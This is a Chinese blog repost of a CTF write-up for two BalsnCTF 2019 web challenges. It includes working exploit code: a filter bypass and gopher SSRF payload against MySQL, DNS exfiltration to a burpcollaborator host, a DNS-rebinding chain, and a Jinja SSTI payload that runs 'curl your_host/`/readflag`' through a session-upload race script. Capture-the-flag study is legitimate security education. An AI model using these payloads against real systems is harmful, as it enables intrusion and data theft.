百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

BalsnCTF 2019 两道web题

toyiye 2024-06-21 12:11 9 浏览 0 评论

原创:wywwzjj合天智汇

原创投稿活动:重金悬赏 | 合天原创投稿等你来

Warm up

常见绕过、gopher 打 MySQL、SSRF

一打开题目就能看到源码,稍稍有点混淆,整理一下:

<?php
if (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt==")))
 && highlight_file(__FILE__)
 && (include("config.php"))
 && ($op = @$_GET['op'])
 && (@strlen($op) < 3 && @($op + 8) < 'A_A')) {
 $_ = @$_GET['Σ>―(#°ω°#)?→'];
 if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)
 || @strlen(count_chars(strtolower($_), 3)) > 13
 || @strlen($_) > 19) {
 exit($secret);
 } else {
 $ch = curl_init();
 @curl_setopt(
 $ch,
 CURLOPT_URL,
 str_repLace(
 "int",
 ":DD",
 str_repLace(
 "%69%6e%74",
 "XDDD",
 str_repLace(
 "%2e%2e",
 "Q___Q",
 str_repLace(
 "..",
 "QAQ",
 str_repLace(
 "%33%33%61",
 ">__<",
 str_repLace(
 "%63%3a",
 "WTF",
 str_repLace(
 "633a",
 ":)",
 str_repLace(
 "433a",
 ":(",
 str_repLace(
 "\x63:",
 "ggininder",
 strtolower(eval("return $_;"))
 )
 )
 )
 )
 )
 )
 )
 )
 )
 );
 @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 @curl_setopt($ch, CURLOPT_TIMEOUT, 1);
 @curl_EXEC($ch);
 }
} else if (@strlen($op) < 4 && @($op + 78) < 'A__A') {
 $_ = @$_GET['?']; # \u2063
 //http://warmup.balsnctf.com/?%E2%81%A3=index.php%20&op=-79
 if ((strtolower(substr($_, -4)) === '.php')
 || (strtolower(substr($_, -4)) === 'php.')
 || (stripos($_, "\"") !== FALSE)
 || (stripos($_, "\x3e") !== FALSE)
 || (stripos($_, "\x3c") !== FALSE)
 || (stripos(strtolower($_), "amp") !== FALSE))
 die($secret);
 else {
 if (stripos($_, "..") !== false) {
 die($secret);
 } else {
 if (stripos($_, "\x24") !== false) {
 die($secret);
 } else {
 print_r(substr(@file_get_contents($_), 0, 155));
 }
 }
 }
} else {
 die($secret) && system($_GET[0x9487945]);
}

这段代码并不需要额外配置,却加载了一个 config.php,有点蹊跷,先读下源代码看看。有两种办法,一是通过 eval,而是利用 file_get_contents,后者明显要简单些。这样的后缀检查加个空格就能过。因为读取有长度限制,可直接使用伪协议进行压缩,然后解压即可。

<?php
$content = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
$idx = stripos($content, "</code>") + 7;
file_put_contents("/tmp/233", substr($content, $idx));
echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233");

得到内容如下

# file:config.php
<?php
 // ***********************************
 // THIS IS THE CONFIG OF THE MYSQL DB
 // ***********************************
 $host = "localhost";
 $user = "admin";
 $pass = "";
 $port = 8787;
 // hint:flag-is-in-the-database XDDDDDDD
 // ====================================
 %

看到了这个提示,MySQL 还是空密码,目标就相当明确了,gopher 打 MySQL 即可,file_get_contents 一般打不出 gopher。那就利用之前的 curl,这里也有三重限制:

if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)
 || @strlen(count_chars(strtolower($_), 3)) > 13
 || @strlen($_) > 19) {

至于第一个正则匹配,取反就行了,都是常见技巧,比如 phpinfo => (~%8F%97%8F%96%91%99%90)()。

gopher 的 payload 都比较长,直接传是不可能的。之前出过很多无参函数的题,常见的手法是通过 getenv、getallheaders 、get_defined_vars之类的函数获取参数。由于长度的限制,最好的选择就是 getenv。

(~%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%A7) => getenv("HTTP_T")

成功打出请求,接下来继续打 MySQL, Gopherus 生成下 payload。

phpinfo 中能看到是 Windows 的机器,验证一下能不能 DNS 数据外带,不然只能当盲注处理了。

(PS:本地实验记得修改 mysql.ini 文件,在 [mysqld] 下加入 secure_file_priv = )

Give MySQL username: admin
Give port: 8787
Give query to execute: select load_file(concat('\\\\',version(),'.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a'));
Your gopher link is ready to do SSRF : 
gopher://127.0.0.1:8787/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%65%00%00%00%03%73%65%6c%65%63%74%20%6c%6f%61%64%5f%66%69%6c%65%28%63%6f%6e%63%61%74%28%27%5c%5c%5c%5c%27%2c%76%65%72%73%69%6f%6e%28%29%2c%27%2e%39%66%70%30%37%71%32%6e%68%6f%31%76%38%74%6e%36%38%73%7a%6c%73%35%34%64%39%34%66%75%33%6a%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%2f%61%27%29%29%3b%01%00%00%00%01

成功收到请求。

10.3.16-MariaDB.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net.

继续获取数据:

select load_file(concat("\\\\",substr(hex(group_concat(schema_name)),39,68),".9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a")) from information_schema.schemata;
-- 得到了数据库名 test,thisisthedbname,需要注意的是太长了出不了网,不能出现像逗号这种的特殊符号

接下来就是老套路了,读表名、列名,拿数据。

42616C736E7B337A5F77316E643077735F7068705F6368346C7D => Balsn{3z_w1nd0ws_php_ch4l}

有师傅把上面的过程整合了下,通过 flask 转发,然后就能 sqlmap 一把梭,值得学习,代码如下。

https://movrment.blogspot.com/2019/10/balsn-ctf-2019-web-warmup.html

#coding: utf-8
import requests
class MySQL():
 print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"
 user = 'admin' #raw_input("\033[96m" +"\nGive MySQL username: " + "\033[0m")
 encode_user = user.encode("hex")
 user_length = len(user)
 temp = user_length - 4
 length = (chr(0xa3+temp)).encode("hex")
 dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
 dump += encode_user
 dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
 dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
 dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"
 query = "show databases;";#raw_input("\033[96m" +"Give query to execute: "+ "\033[0m")
 auth = dump.replace("\n","")
 def encode(self, s):
 a = [s[i:i + 2] for i in range(0, len(s), 2)]
 #return "gopher://127.0.0.1:3306/_%" + "%".join(a)
 return "gopher://127.0.0.1:8787/_%" + "%".join(a)
 def get_payload(self, query):
 if(query.strip()!=''):
 query = query.encode("hex")
 query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
 query_length = query_length.decode('hex')[::-1].encode('hex')
 pay1 = query_length + "0003" + query
 final = self.encode(self.auth + pay1 + "0100000001")
 return final
 else:
 return encode(self.auth)
# coding: utf-8
from flask import Flask, render_template, request
import time
app = Flask(__name__, template_folder='.')
@app.route('/')
def blind():
 username = request.args.get('username')
 url = "http://localhost/gg.php"
 url = "http://warmup.balsnctf.com/"
 def n(s):
 r = ""
 for i in s:
 r += chr(~(ord(i)) & 0xFF)
 r = "~{}".format(r)
 return r
 t = '(' + n('getenv') + ')(' +n('HTTP_X') + ')'
 # x = MySQL().get_payload("select IF(TRUE AND (select '1'='{username}'), sleep(10), sleep(0));".format(username=username))
 x = MySQL().get_payload("select id from (select 1 as id)a where id='{username}';".format(username=username))
 print repr(x)
 print len(t)
 try:
 r = requests.post(url=url, params = {
 'op' : '-9',
 'Σ>―(#°ω°#)?→' : t
 },
 cookies = {"PHPSESSID" : "123"},
 headers = {"X": x},
 timeout = 1.5
 )
 return "1"
 except:
 time.sleep(4)
 return "0"
 return r.content
if __name__ == "__main__":
 app.run(host='0.0.0.0', debug=True)
'''
python sqlmap.py -u "http://localhost:5000/?username=*" --technique=T --dbms=mysql --dbs --level 1 --time-sec=2
'''

韩国鱼

DNS rebinding、SSTI、命令执行

题目直接放出了 docker 环境,有个 readflag.c,看来是要执行命令。

# index.php
<?php
ini_set('default_socket_timeout', 1);
$waf = array("@","#","!","$","%","<", "*", "'", "&", "..", "localhost", "file", "gopher", "flag", "information_schema", "select", "from", "sleep", "user", "where", "union", ".php", "system", "access.log", "passwd", "cmdline", "exe", "fd", "meta-data");
$dst = @$_GET[''];
if(!isset($dst)) exit("Forbidden");
$res = @parse_url($dst);
$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];
if($res['scheme'] !== 'http' && $res['scheme'] !== 'https') die("Error");
if(stripos($res['path'], "korea") === FALSE) die("Error");
for($i = 0; $i < count($waf); $i++) 
 if(stripos($dst, $waf[$i]) !== FALSE)
 die("<svg/onload=\"alert('發大財!')\">".$waf[$i]);
sleep(1);
// u can only touch this useless ip :p
$dev_ip = "54.87.54.87";
if($ip === $dev_ip) {
 $content = file_get_contents($dst);
 echo $content;
}

另外内网里还跑了一个 flask,这段代码明显有 SSTI。

@app.route('/error_page')
def error():
 error_status = request.args.get("err")
 err_temp_path = os.path.join('/var/www/flask/', 'error', error_status)
 with open(err_temp_path, "r") as f:
 content = f.read().strip()
 return render_template_string(sanitize(content))

代码里还很贴心的加入了一个 sleep(1),对访问 IP 的限制显然可以通过 DNS rebinding 进行绕过。当服务端通过 dns_get_record 解析时,返回 54.87.54.87,通过 file_get_contents 访问时,host 被解析成 127.0.0.1 自然就能打到内网。

国内能买到的域名 TTL 基本无法为零,难道需要充钱买新域名吗?

不,有很多现成的平台能用,比如 https://lock.cmpxchg8b.com/rebinder.html。

不过这个是规律性的随机解析,还是要点小运气的 :)

可看到成功进入内网:

要想访问 /error_page ,这还有点小限制

if(stripos($res['path'], "korea") === FALSE) die("Error");

不过在 Flask 里有个特性,//korea/error_page => /error_page,自然就解决了。当然也可以自己写个跳转。

另外还有一点:

>>> import os
>>> os.path.join("/var/www/flask", "error", "/etc/passwd")
'/etc/passwd'

接下来要做的就是找到一个可控的文件,别忘了前面还跑了个 PHP,那就利用 session.upload_progress 进行上传吧,也是常见的手段。可参考:

https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html

https://www.anquanke.com/post/id/162656

http://wonderkun.cc/index.html/?p=718

https://www.php.net/manual/zh/session.upload-progress.php

我们先看一下 SSTI 如何构造才能进行命令执行。

def sanitize(str):
 return str.replace(".", "").replace("{{", "")
'''
过滤 {{ => {%%}
过滤 . => 
 {{''['__class__']}}
 {{''|attr('__class__')}}
 \x2e
 getattr
'''
# 常用 payload
{% for c in [].__class__.__base__.__subclasses__() %}
 {% if c.__name__ == 'catch_warnings' %}
 {% for b in c.__init__.__globals__.values() %}
 {% if b.__class__ == {}.__class__ %}
 {% if 'eval' in b.keys() %}
 {{ b['eval']('__import__("os").popen("id").read()') }}
 {% endif %}
 {% endif %}
 {% endfor %}
 {% endif %}
{% endfor %}
=>
{% for c in []['__class__']['__base__']['__subclasses__']() %}
 {% if c['__name__'] == 'catch_warnings' %}
 {% for b in c['__init__']['__globals__']['values']() %}
 {% if b['__class__']=={}['__class__'] %}
 {% if 'eval' in b['keys']() %}
 {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %}
 {% endif %}
 {% endif %}
 {% endif %}
 {% endfor %}
 {% endif %}
{% endfor %}

把 orange 之前 one line php 的 exp 改下就能用了,最终 exp:

import sys
import string
import requests
from multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://koreanfish.balsnctf.com'
sess_name = 'iamorange'
headers = {
 'Connection': 'close', 
 'Cookie': 'PHPSESSID=' + sess_name
}
payload = '''
{% for c in []['__class__']['__base__']['__subclasses__']() %}
 {% if c['__name__'] == 'catch_warnings' %}
 {% for b in c['__init__']['__globals__']['values']() %}
 {% if b['__class__']=={}['__class__'] %}
 {% if 'eval' in b['keys']() %}
 {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %}
 {% endif %}
 {% endif %}
 {% endif %}
 {% endfor %}
 {% endif %}
{% endfor %}
'''
def runner1(i):
 data = {
 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
 }
 while 1:
 fp = open('/etc/passwd', 'rb')
 r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
 fp.close()
 print(r.status_code)
def runner2(i):
 filename = '/var/lib/php/sessions/sess_' + sess_name
 while 1:
 url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}'.format(HOST, filename)
 r = requests.get(url, headers=headers)
 print(r.status_code)
if sys.argv[1] == '1':
 runner = runner1
else:
 runner = runner2
pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码